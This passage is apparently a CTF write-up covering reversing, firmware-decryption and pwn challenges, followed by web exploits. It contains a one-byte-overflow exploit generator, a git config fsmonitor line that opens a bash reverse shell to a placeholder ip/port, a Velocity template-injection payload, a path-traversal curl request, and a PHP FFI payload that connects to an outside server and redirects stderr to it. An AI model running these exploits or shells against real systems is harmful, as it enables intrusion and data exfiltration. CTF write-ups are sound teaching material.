0xF30 STOR.S.pri 0xFFFFFFFC ; b ;b=b%0x1000
0xF38 BREAK ; encoder.sma:156
0xF3C LOAD.S.pri 0xFFFFFFF8 ; i
0xF44 LOAD.S.alt 0xC ; password[]
0xF4C IDXADDR ;pri=pw+i
0xF50 MOVE.alt ;alt=pw+i
0xF54 LOAD.S.pri 0xFFFFFFFC ; b
0xF5C STOR.I ;pw[i]=b
0xF60 JUMP 0xE94
0xF68 STACK 0x4 ; free 1 cells
0xF70 BREAK ; encoder.sma:157
0xF74 LOAD.S.pri 0x10 ; password_len
0xF7C STACK 0x4 ; free 1 cells
0xF84 RETN
0x14A4 PROC ; public prepare_plugin()
0x14A8 BREAK
0x14AC BREAK
0x14B0 PUSH.C 0x0
0x14B8 SYSREQ.C 0x6 ; TrieCreate
0x14C0 STACK 0x4 ; free 1 cells
0x14C8 STOR.pri 0x42C ; Trie:parts
0x14D0 BREAK
0x14D4 PUSH.C 0x0
0x14DC CALL 0x1864 ; public get_amx_base_ptr()
0x14E4 STOR.pri 0x430 ; amx_base
0x14EC BREAK
; new buf[32]
0x14F0 STACK 0xFFFFFF80 ; allocate 32 cells
0x14F8 ZERO.pri
0x14FC ADDR.alt 0xFFFFFF80
0x1504 FILL 0x80 ; 32 cells
; new hash[64]
0x150C STACK 0xFFFFFF00 ; allocate 64 cells
0x1514 ZERO.pri
0x1518 ADDR.alt 0xFFFFFE80
0x1520 FILL 0x100 ; 64 cells
; new order
0x1528 PUSH.C 0x0
; new hexbuf[3]
0x1530 STACK 0xFFFFFFF4 ; allocate 3 cells
0x1538 ZERO.pri
0x153C ADDR.alt 0xFFFFFE70
0x1544 FILL 0xC ; 3 cells
; new v
0x154C PUSH.C 0x0
0x1554 BREAK
; new i
0x1558 PUSH.C 0x0
0x1560 JUMP 0x1574
0x1568 BREAK
0x156C INC.S 0xFFFFFE68 ; i1 ;i1++
0x1574 LOAD.S.pri 0xFFFFFE68 ; i1
0x157C CONST.alt 0x100 ;
0x1584 JSGEQ 0x15CC ;i1>=0x100
0x158C PUSH 0x42C ; Trie:parts
0x1594 PUSH.C 0x4
0x159C SYSREQ.C 0x12 ; TrieGetSize
0x15A4 STACK 0x8 ; free 2 cells
0x15AC CONST.alt 0x100
0x15B4 JEQ 0x15CC ;size==0x100
0x15BC CONST.pri 0x1
0x15C4 JUMP 0x15D0
0x15CC ZERO.pri
0x15D0 JZER 0x17BC
0x15D8 BREAK
0x15DC PUSH.ADR 0xFFFFFE68 ; i1
0x15E4 PUSH.C 0x6C0 ;"%08x"
0x15EC PUSH.C 0x1F
0x15F4 PUSH.ADR 0xFFFFFF80 ; buf[32]
0x15FC PUSH.C 0x10
0x1604 SYSREQ.C 0x11 ; formatex; formatex(buf, 0x1f, "%08x", i1)
0x160C STACK 0x14 ; free 5 cells
0x1614 BREAK
0x1618 PUSH.C 0x40
0x1620 PUSH.ADR 0xFFFFFE80 ; hash[64]
0x1628 PUSH.C 0x3
0x1630 PUSH.ADR 0xFFFFFF80 ; buf[32]
0x1638 PUSH.C 0x10
0x1640 SYSREQ.C 0x14 ; hash_string; hash_string(buf, 3, hash, 0x40) #Hash_Sha256
0x1648 STACK 0x14 ; free 5 cells
0x1650 BREAK
; new i
0x1654 PUSH.C 0x0
0x165C JUMP 0x1680
0x1664 BREAK
0x1668 LOAD.S.pri 0xFFFFFE64 ; i2
0x1670 ADD.C 0x2 ; signed: 2
0x1678 STOR.S.pri 0xFFFFFE64 ; i2 ; i2+=2
0x1680 LOAD.S.pri 0xFFFFFE64 ; i2
0x1688 CONST.alt 0x40
0x1690 JSGEQ 0x17AC ;i2<0x40
0x1698 BREAK
0x169C ADDR.pri 0xFFFFFE80 ; hash[64]
0x16A4 PUSH.pri ;16c0
0x16A8 LOAD.S.pri 0xFFFFFE64 ; i2
0x16B0 ADD.C 0x1 ;pri=i2+1
0x16B8 BOUNDS 0x3F
0x16C0 POP.alt ;alt=hash
0x16C4 IDXADDR ;pri=hash+i2+1
0x16C8 PUSH.pri
0x16CC ADDR.alt 0xFFFFFE80 ; hash[64]
0x16D4 LOAD.S.pri 0xFFFFFE64 ; i2
0x16DC BOUNDS 0x3F
0x16E4 IDXADDR ;pri=hash+i2
0x16E8 PUSH.pri
0x16EC PUSH.C 0x6D4 ;"%c%c"
0x16F4 PUSH.C 0x2
0x16FC PUSH.ADR 0xFFFFFE70 ; hexbuf[3]
0x1704 PUSH.C 0x14
0x170C SYSREQ.C 0x11 ; formatex ;formatex(hexbuf, x, "%c%c", hash+i2, hash+i2+1)
0x1714 STACK 0x18 ; free 6 cells
0x171C BREAK
0x1720 PUSH.ADR 0xFFFFFE6C ; v
0x1728 PUSH.ADR 0xFFFFFE70 ; hexbuf[3]
0x1730 PUSH 0x42C ; Trie:parts
0x1738 PUSH.C 0xC
0x1740 SYSREQ.C 0x7 ; TrieGetCell ; TrieGetCell(42c, hexbuf, v)
0x1748 STACK 0x10 ; free 4 cells
0x1750 NOT
0x1754 JZER 0x17A4 ;if TrieGetCell...
0x175C BREAK
0x1760 PUSH.C 0x1
0x1768 PUSH.S 0xFFFFFE7C ; order
0x1770 PUSH.ADR 0xFFFFFE70 ; hexbuf[3]
0x1778 PUSH 0x42C ; Trie:parts
0x1780 PUSH.C 0x10
0x1788 SYSREQ.C 0x15 ; TrieSetCell ; TrieSetCell(42c, hexbuf, order, 1)
0x1790 STACK 0x14 ; free 5 cells
0x1798 BREAK
0x179C INC.S 0xFFFFFE7C ; order; order+=1
0x17A4 JUMP 0x1664
0x17AC STACK 0x4 ; free 1 cells
0x17B4 JUMP 0x1568
0x17BC STACK 0x4 ; free 1 cells
0x17C4 BREAK
; new i
0x17C8 PUSH.C 0x0
0x17D0 JUMP 0x17E4
0x17D8 BREAK
0x17DC INC.S 0xFFFFFE68 ; i1
0x17E4 LOAD.S.pri 0xFFFFFE68 ; i1
0x17EC CONST.alt 0x3
0x17F4 JSGEQ 0x184C
0x17FC BREAK
0x1800 CONST.alt 0x364
0x1808 LOAD.S.pri 0xFFFFFE68 ; i1
0x1810 BOUNDS 0x2
0x1818 IDXADDR
0x181C MOVE.alt
0x1820 LOAD.I
0x1824 ADD
0x1828 PUSH.pri
0x182C PUSH.C 0x4
0x1834 SYSREQ.C 0x16 ; db_get
0x183C STACK 0x8 ; free 2 cells
0x1844 JUMP 0x17D8
0x184C STACK 0x4 ; free 1 cells
0x1854 STACK 0x194 ; free 101 cells
0x185C ZERO.pri
0x1860 RETN
|
Final solve code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
|
import hashlib
import struct
from collections import defaultdict
MAGIC_INIT = 12314
# MAGIC_INIT = 0
def encode1(name, pw):
pw = bytearray(pw)
for i in range(len(pw)):
pw[i] ^= name[i % len(name)]
i = 0
while i < len(pw):
pw[i] = pw[i + 1] ^ pw[i]
pw[i + 1] = pw[i + 1] ^ pw[i]
pw[i] = pw[i + 1] ^ pw[i]
i += 2
return pw
def decode1(name, pw):
pw = bytearray(pw)
for i in range(len(pw) // 2):
pw[i * 2], pw[i * 2 + 1] = pw[i * 2 + 1], pw[i * 2]
for i in range(len(pw)):
# _70 += 1
pw[i] ^= name[i % len(name)]
return pw
table = bytes.fromhex('''DF F5 F6 45 32 AA 91 01 0E C2 F7 12 EC 3D E6 7D
AB 4B 70 8B 67 35 52 9C 08 EE F9 78 CE D5 64 02
B2 D9 11 05 A4 80 4A F8 CD 8A C8 F4 E0 9F ED 76
AE D3 D7 77 0F 16 81 6C DD 8E 0D 6E 1A AC 53 30
1C 50 B7 E7 90 09 83 DB 36 19 2F 6D 87 9D E8 60
15 72 9B 88 F3 31 47 69 74 5B 2D A7 21 5D BE 65
1B 0C 23 5F C1 9E B9 A3 BC D1 CB 3C 2B B0 F1 BA
B6 5C EF 0B 29 E4 D2 C6 3A 38 5A 17 49 C4 00 CF
57 E5 55 37 BD 34 A6 E1 24 F2 0A C5 1F 7E 25 07
56 48 75 A9 3E 98 C0 2A FD 79 59 82 FA FF 85 33
73 C9 DE 18 99 7F 68 6F 9A 1D 7B A2 2C EA 20 A0
04 6B D6 94 B4 63 93 AF D0 2E FE 54 D4 7C 3F B5
BF 43 AD CC FC 40 F0 84 41 DA 42 89 14 66 A5 58
B8 CA 3B E3 44 13 EB 61 97 03 6A 96 E2 95 92 62
A8 22 BB 26 71 E9 4E A1 DC 28 1E 27 4C 06 8F 51
8C C7 7A 4F 4D 46 10 B3 B1 C3 FB 39 8D 5E D8 86
'''.strip().replace(' ', ''))
def encode2(pw):
return bytes([table[x] for x in pw])
rtable = []
for i in range(0x100):
rtable.append(table.index(i))
def decode2(pw):
return bytes([rtable[x] for x in pw])
def encode3(pw):
# encode3_cvar_name = "encoder_random_value"
r = list(pw)
t = MAGIC_INIT # encoder_random_value
for i in range(len(r)):
# t = r[i] * 0xdead + t
# t = t + 1
# t = t % 0x1000
t = (r[i] * 0xdead + t + 1) % 0x1000
r[i] = t
return r
def decode3p(pw):
r = []
t = MAGIC_INIT
for x in pw:
for i in range(0x100):
if (i * 0xdead + t + 1) % 0x1000 == x:
r.append(i)
t = x
break
return r
def decode3(pw):
r = []
for i in range(len(pw) - 1):
this = pw[len(pw) - i - 1]
prev = pw[len(pw) - i - 2]
for x in range(256):
if (x * 0xdead + prev + 1) % 0x1000 == this:
r.append(x)
break
r.append(0)
return r[::-1]
def prepare():
m = {}
i1 = 0
order = 0
while i1 < 256 and len(m) != 256:
buf = f'{i1:08x}'
hash = hashlib.sha256(bytes(buf, 'ascii')).hexdigest()
i2 = 0
while i2 < 64:
hexbuf = hash[i2 * 2:i2 * 2 + 2]
if hexbuf not in m:
m[hexbuf] = order
order += 1
i2 += 2
i1 += 1
return m
def rprepare():
m = prepare()
# rm = defaultdict(list)
rm = {}
for k, v in m.items():
# rm[v].append(k)
rm[v] = k
return rm
def dw(x):
bf = bytes.fromhex(x)
r = struct.unpack('>' + 'h' * (len(bf) // 2), bf)
return r
_pws = [
'08ce0d1901640a1802cc0b800434087f0cca057e0e3206e6',
'080a0d3804d4008509900e670da10d9f', '0f890c6e040a08e102b30b9f0d0c0cb6',
'04f10c8a0a1a095404ae0985092f0e98', '0ec80d76021800c6043101fc01360a220905',
'0797080805980012065809c30871086f0554037002530fca0d250e3e',
'05100a060efc0ea60e500346083c0d320cdc', '021608eb067b093b0c170c88053c098a',
'0ec80d920582039e07950164007f02940e290e97038d08670cd108630bce02de0566079a02f4012c08ac04950aa60f0d0c81',
'0f5401c00a740b8d0dc10407081d0c8700ee', '048106ed0b540ddc022a065c01f1081e',
'07b6052d07ed0724036104070b300f7b', '0efd057e09b003820d380f340ae502d50a71'
]
pws = []
for pw in _pws:
pws.append(dw(pw))
names = [
b'Joe', b'Fragnatic', b'Campers Death', b'Wujek', b'shw',
b'Headshot Deluxe', b'fex', b'L33t', b'Pr0g4m3r', b'Rivit', b'Botman',
b'rumcajs', b'Dredd'
]
assert len(names) == len(pws)
if __name__ == '__main__':
name = b'DDDD'
pw = b'PASSWORDPASSWORD'
r1 = encode1(name, pw)
assert bytes(r1) == bytes.fromhex('05 14 17 17 0B 13 00 16 05 14 17 17 0B 13 00 16'.replace(' ', ''))
_pw = decode1(name, r1)
assert bytes(_pw) == bytes(pw)
r2 = encode2(r1)
assert bytes(r2) == bytes.fromhex('AA 67 9C 9C 12 8B DF 52 AA 67 9C 9C 12 8B DF 52')
_r1 = decode2(r2)
assert bytes(_r1) == bytes(r1)
r3 = encode3(r2)
_r2 = decode3(r3)
print(bytes(r2).hex())
print(bytes(_r2).hex())
print('=' * 66)
for _pw, _name in zip(pws, names):
_rr2 = decode3(_pw)
_rr1 = decode2(_rr2)
_r = decode1(_name, _rr1)
print(_r)
```
## Fancy Device
Attachment has 2 files: firmware.bin (a zip file containing `SDDL.SEC`) and unknownbin.zip (a zip containing an AES key `crypto_key` , an executable `customer_download` and a dynamic library `libdownloadlib.so.0` ).
By finding code related to symmetric cryptography in `customer_download` we can find out that the `crypto_key` is "cipher"ed AES key and iv. "decipher" it and we can decrypt some part of `SDDL.SEC.`
![](https://s2.loli.net/2022/06/16/t4duDUlAoSfL5P3.jpg)
```python
#!/usr/bin/python3
from Crypto.Cipher import AES
with open('../crypto_key', 'rb') as f:
key_buf = bytearray(f.read())
with open('./SDDL.SEC', 'rb') as f:
sddl_buf = bytearray(f.read())
acc = 0x388
for i in range(0x20):
newacc = 0x96a3 + (acc + key_buf[i])
key_buf[i] ^= 0xff&(acc>>8)
acc = newacc
key = key_buf[:16]
iv = key_buf[16:]
print(repr(key), repr(iv))
cip = AES.new(key, AES.MODE_CBC, iv)
suc = cip.decrypt(sddl_buf)
with open('sddl_dec.bin','wb') as f:
f.write(suc)
|
This is far from finishing, but this is a good start.
By xref from the AES decrypting function 0x100fc, we can find several places using it, and find out the main structure of the SDDL.SEC file - it is like an archive file, with file headers and file contents encrypted.
At this stage we can destruct the SDDL.SEC file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
#!/usr/bin/python3
from Crypto.Cipher import AES
with open('../crypto_key', 'rb') as f:
key_buf = bytearray(f.read())
with open('./SDDL.SEC', 'rb') as f:
sddl_buf = bytearray(f.read())
def decipher(b: bytearray):
assert len(b)<0x7f # (later complex logic is not reversed)
acc = 0x388
for i in range(len(b)):
new_acc = 0x96a3 + (acc + key_buf[i])
b[i] ^= 0xff & (acc >> 8)
acc = new_acc
decipher(key_buf)
key = key_buf[:16]
iv = key_buf[16:]
print(repr(key), repr(iv))
def decrypt_payload(b):
cip = AES.new(key, AES.MODE_CBC, iv)
return cip.decrypt(b)
def decrypt_payload_unpad(b):
b1 = decrypt_payload(b)
return b1[:-b1[-1]]
off = 0x20
while off < len(sddl_buf)-0x80:
hdr = decrypt_payload_unpad(sddl_buf[off:off+0x20])
file_name = hdr.split(b'\0')[0]
file_size = int(hdr[16:].decode())
file_content = sddl_buf[off+0x20:off+0x20+file_size]
off += 0x20 + file_size
print('file', file_name, file_size)
filenm = file_name.decode()
#with open('ENC_'+filenm, 'wb') as f:
# f.write(file_content)
with open(filenm, 'wb') as f:
f.write(decrypt_payload_unpad(file_content))
|
We see that every file is good (their AES padding is correct; their file header seems reasonable), so we have confidence that this step is correct.
And then we stuck, not knowing what to do with the PEAKS.F??
files.
We guessed on the file format for a while, and searched in the binaries again and again and again and finally we found some function that we did not notice - the function 0xf0c0.
By tracking data flow we find out that this function deals exactly with the .F?? Files, also we see that the operations in the function matches exactly with the extracted file structures. In detail:
1
2
3
4
5
6
7
8
9
10
|
$ hexdump -C PEAKS.F64
00000000 11 22 33 44 19 11 19 00 00 00 00 00 00 00 00 00 |."3D............|
00000010 03 00 00 00 03 00 06 08 03 00 06 09 00 00 00 01 |................|
(the lines before are fixed)
00000020 00 40 03 00 00 00 10 01 00 40 00 0e fd 66 ac f1 |.@.......@...f..|
(0x20-0x22 - block index)
(0x22-0x24 - controling bytes, explained later)
(0x24-0x28 - size before decrypting)
(0x28-0x2c - size after decrypting)
(0x2c-0x30 - crc32)
|
We see that the actual unpacking process is in libdownloadlib.so.0 ``dwld_module_exec
, and since the file has byte 0x03
at 0x22 offset, the content after 0x30 will be first deciphered
and then zlib.decompress
ed, and finally crc32
checked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
#!/usr/bin/env python3
import os
import struct
import zlib
from tqdm import tqdm
def decipher(s, len_):
v3 = 904
out = bytearray(s)
cnt = 0
while len_ > 0:
if len_ >= 0x80:
true_len = 128
else:
true_len = len_
if true_len:
i = 0
j = 0
while i < len(s):
iter_ = s[i]
i += 1
j = (j + 1) & 0xff
v11 = iter_ + 38400
v11 = v11 & 0xffffffff
v12 = iter_ ^ ((v3 & 0xff00) >> 8)
v3 += v11 + 163
v3 = v3 & 0xffffffff
if j == 0:
v3 = 904
# out += bytes([v12])
out[cnt] = v12
cnt += 1
len_ -= true_len
return out
for i in tqdm(range(88)):
out_f = open(f"PEAKS.F{i:02}.unzip", "wb")
in_f = open(f"PEAKS.F{i:02}" , "rb")
in_f.read(0x20)
number = struct.unpack(">H", in_f.read(0x2))[0]
control = struct.unpack(">H", in_f.read(0x2))[0]
data_size = struct.unpack(">I", in_f.read(0x4))[0]
decrypt_size = struct.unpack(">I", in_f.read(0x4))[0]
unzlib_crc = struct.unpack(">I", in_f.read(0x4))[0]
data = in_f.read()
assert len(data) == data_size
decrypt_data = decipher(data, len(data))
out_f.write(zlib.decompress(decrypt_data))
out_f.flush()
out_f.close()
in_f.close()
|
And then the unpacked data 1-4 is the dest offset, 5-8 is the source offset (0xe fixed) 9-12 is the size (0x400000 fixed mostly).
With that info, we concatenate the 88 PEAKS.F??
Files into one big file - seems that the file is a firmware or at least file systems.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import os
import struct
import zlib
from tqdm import tqdm
with open("out_file_system.bin", "wb") as out_file:
for i in tqdm(range(88)):
in_f = open(f"PEAKS.F{i:02}.unzip", "rb")
in_f.read(1)
out_file_offset = struct.unpack(">I", in_f.read(4))[0]
this_file_offset = struct.unpack(">I", in_f.read(4))[0]
out_file_size = struct.unpack(">I", in_f.read(4))[0]
in_f.read(1)
assert this_file_offset == 0xe
out_data = in_f.read()
# assert len(out_data) == out_file_size
out_file.seek(out_file_offset)
out_file.write(out_data)
in_f.close()
# total_size += out_file_size
|
Binwalk tells us that there is a squashfs in the file system, and flag is exactly inside the squashfs.
##Monsters
The program is a nasty C++ O3-optimized binary. And it does not use the common libstdc++ but rather libc++. We have planned to spend a DEF CON CTF level of time reversing it yet the vulnerability is rather simple and is not much involved with the main logic of program.
The function make_note
is obviously a readline that is not in C++ code pattern - it reads the line using the pure C style programming, and is prone to buffer overflow - actually there is a single-byte buffer overflow here.
And it is easy to trigger the buffer overflow by trial and error:
0
1
9
15
0123456789abcdef0123456Y
9
10
1
3
Changing Y into Z yields some different output:
And we can find that the overflowed memory is the next std::string, which is the “kind” of the monster. And function 14 can edit this string, while function 15 can trigger the overflow multiple time.
This challenge uses a different version of C++ dynamic library libc++, which has a different std::string layout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
struct std::string {
union {
struct {
u8 is_long:1;
u8 string_length:7;
};
};
union {
u8 short_buffer[0x17]; /* if not is_long, layout1 */
struct {
u8 _[0x7]; /* if is_long, layout2 */
u64 size;
char* str_pointer;
};
}
};
|
So by overflowing the first byte of the next string, we can change string layout between the short layout that uses the remaining space of the struct as buffer (layout1), and the long layout that uses a external string buffer pointer (layout2).
This challenge has put the flag at a fixed address, so we
(a) ensure that the “kind” string is in short layout, by overflowing an even byte to it;
(b) spray the pointer pointing to the flag (0x40c060) along with a valid size (0x100) on the “kind” string struct;
(c) overflow an odd byte to the “kindβ string;
(d) print out the “kind” string.
An exploit generating script is provided here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
def p32(x):
return (x%(1<<64)).to_bytes(4,'little')
def p64(x):
return (x%(1<<64)).to_bytes(8,'little')
def edit_note(b):
return b'15\n'+b'A'*0x17+b+b'\n9\n'
def edit_kind(b):
return b'14\n'+b+b'\n'
pl = b''
pl += b'0\n1\n9\n' # go to dream room
pl += edit_note(b'Z') # ensure that the kind string is short
pl += edit_kind(b'\0'*7+p64(0x100)+p32(0x40c060)) # spray kind string field
pl += edit_note(b'Y') # set kind string to long
pl += b'10\n' # print everything
pl += b'1\n3\n' # ensure that the program dies properly
with open('pl.bin','wb') as f:
f.write(pl)
|
Web
gitara
create 4 files in home dir
HEAD objects refs config
1
2
3
4
|
echo 'ref: refs/heads/master' > HEAD
touch objects && chmod +x objects
touch refs && chmod +x refs
echo '[core]\nrepositoryformatversion = 0\nfilemode = true\nworktree = "/tmp"\nfsmonitor = "bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'"' > config
|
Velociraptor
#set($p='inclu'+'de')
#evaluate("#$p('/flag.txt')")
Symple Unzipper
0ctf 2021 zip
Modify the zip file offset and fill it with a tar.gz
GoBucket
The flag is in the file which is named secret_file
and at the upper level of the folder of buckets.
We can read secret_file
if bucketId = ‘secret_file’ and filename = ‘./’, but the check in the mux.ServerHTTP doesn’t allow us to do it.
After some random fuzz test, we foundsecret_file/.\ will bypass the check and looks like the application is running in windows so it works.
$ curl --path-as-is 'http://gobucket.web.jctf.pro/files/secret_file/.\\' -vv
> GET /files/secret_file/.\ HTTP/1.1
> Host: gobucket.web.jctf.pro
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 12 Jun 2022 06:12:14 GMT
< Content-Type: text/plain; charset=utf-8
< Content-Length: 94
< Connection: keep-alive
< Accept-Ranges: bytes
< Last-Modified: Sat, 11 Jun 2022 17:52:14 GMT
< X-Ratelimit-Limit: 15
< X-Ratelimit-Remaining: 7
< X-Ratelimit-Reset: Sun, 12 Jun 2022 06:12:14 UTC
<
justCTF{This_Windows_only_http.ServeFile_0day_was_concluded_not_a_secvuln_by_Golang_Security}
* Connection #0 to host gobucket.web.jctf.pro left intact
Foreigner
phpinfo() shows ffi.enable = on, so we can use ffi to directly call native function to bypass disable_function and open_basedir. But the system is running in the container with php -S
and looks like already disabled some dangerous syscall like execve. Also, The php’s putenv
won’t really put the FLAG to the current process’s envrion, so we can’t read it from /proc/self/envrion. The real challenge is how to read the flag. We finally do it by dup2, replacing the stderr’s fd with the socket that connects to our server, which means we can read the php’s log in realtime.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
import requests
host = 'http://foreigner.web.jctf.pro/'
#host = 'http://172.17.0.2/'
cmd = '''
$ffi=FFI::cdef("
struct dirent
{
unsigned long int d_ino;
long int d_off;
unsigned short int d_reclen;
unsigned char d_type;
char d_name[256];
};
struct sockaddr_in
{
unsigned short int sin_family;
unsigned short int sin_port; /* Port number. */
unsigned int sin_addr; /* Internet address. */
unsigned char sin_zero[10];
};
int socket(int domain, int type, int protocol);
int connect(int sockfd, const struct sockaddr_in *addr, unsigned int addrlen);
void exit(int status);
int fork(void);
int fclose(void *stream);
int getpid(void);
void* fwrite(const char *ptr, long unsigned int size_of_elements, long unsigned int number_of_elements, void *a_file);
int dup2(int oldfd, int newfd);
void *opendir (const char *__name);
struct dirent *readdir (void *__dirp);
void *popen(const char *command, const char *type);
int fgetc( void * fp );
void *fopen(const char *restrict pathname, const char *restrict mode);
char *getenv(const char *name);
int putenv(char *string);
","libc.so.6");
var_dump($ffi);
$cnt = 1;
var_dump(getmypid());
$a = $ffi->getenv("PATH");
var_dump(FFI::string($a));
$parent_pid = $ffi->getpid();
var_dump($parent_pid);
$sockfd=$ffi->socket(2, 1, 0);
$addr = $ffi->new("struct sockaddr_in");
$addr->sin_family = 2;
$addr->sin_port = 48202;
$addr->sin_addr = 4229012011;
$ffi->connect($sockfd, FFI::addr($addr), 16);
$ffi->dup2($sockfd, 2);
'''
sess = requests.session()
res = sess.get(host, params={'x': cmd})
print(res.text)
# /app, openbase_dir=/app
|